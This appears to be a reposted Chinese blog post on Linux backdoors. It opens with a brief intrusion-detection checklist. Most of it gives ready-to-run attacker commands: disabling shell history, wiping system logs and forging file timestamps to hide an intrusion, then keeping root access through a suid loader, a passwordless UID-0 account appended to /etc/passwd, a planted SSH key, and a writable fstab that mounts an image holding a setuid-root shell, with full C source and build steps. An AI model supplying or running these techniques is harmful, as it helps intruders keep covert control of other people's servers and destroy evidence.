Linux后门

来源:互联网 发布:高性能服务器端java 编辑:程序博客网 时间:2024/04/29 16:27

Linux后门

===Linux入侵检测===

 0. 断网

1. history 查看最近命令执行历史

2. /var/log/* 日志检查

3. lastlog last 查看登录信息

4. netstat -anp 查看可疑连接

5. lsmod 查看加载的模块

6. ps -awuxf 查看可疑进程

7. /etc/passwd crontab shell ssh fstab配置文件检查

8. find / -perm -04000 -type f -print 查看设置了suid的文件 

9. 建立系统指纹档案和sha1校验值

10. 入侵检测工具的使用chkrootkit rootkit

 

===Linux入侵痕迹清除===

 1. ~/.bash_history 命令清除 

    登录进去设置为不记录日志

    unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;

    export HISTFILE=/dev/null;

    export HISTSIZE=0;

    export HISTFILESIZE=0;

2. /var/log/secure;

   /var/log/lastlog;

   /var/log/Wtmp;

   /var/run/Utmp;

   /var/log/messages;

   /var/log/auth;

   /var/log/sulog;

   /var/log/syslog;

   敏感日志文件清除 

3. dmesg记录清除   dmesg -c 需要root

4. httpd日志

5. 修改文件时间戳,touch -r

6. 使用日志清除工具 logtamper

 

===Linux服务器留后门===

1. 添加suid位

    chmod +s /lib/ld-linux.so.2 

    CentOS 5.6环境下,ld-linux.so.2是ld-2.5.so的符号链接

    利用方法 /lib/ld-linux.so.2 `which whoami`

2. 添加id为0的帐号

    echo "username::0:0::/:/bin/bash" >> /etc/passwd 

    echo "username::::::::" >> /etc/shadow

3. 上传公钥

    mkdir .ssh

    scp ~/.ssh/id_rsa.pub root@remote_ip:/root/.ssh/authorized_keys

    以后登录就不需要密码

4. 利用fstab

    chmod a+w /etc/fstab 

    利用方法 

    echo "test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab

    把test文件上传到服务器

    mount test

    cd /mnt

    ./root

 

    test文件的生成

    /*setuid.c*/

    #include <stdio.h>

    #include <sys/types.h>

    #include <unistd.h>

    

    int main()

    {

        setuid(0);

        seteuid(0);

        setgid(0);

        setegid(0);

        system("/bin/bash");

        return 0;

    }

    //end

    编译 gcc -o setuid -O3 -static setuid.c

    dd if=/dev/sda of=test bs=1M count=1

    mkfs.ext2 test

    mount -o -loop ./test /mnt

    cd /mnt

    cp path_to_setuid .

    chown root:root setuid

    chmod +s setuid

    这样test文件就生成好了

4.内核级后门

    自己写或者网上搜索。一般要注意适用的内核版本号。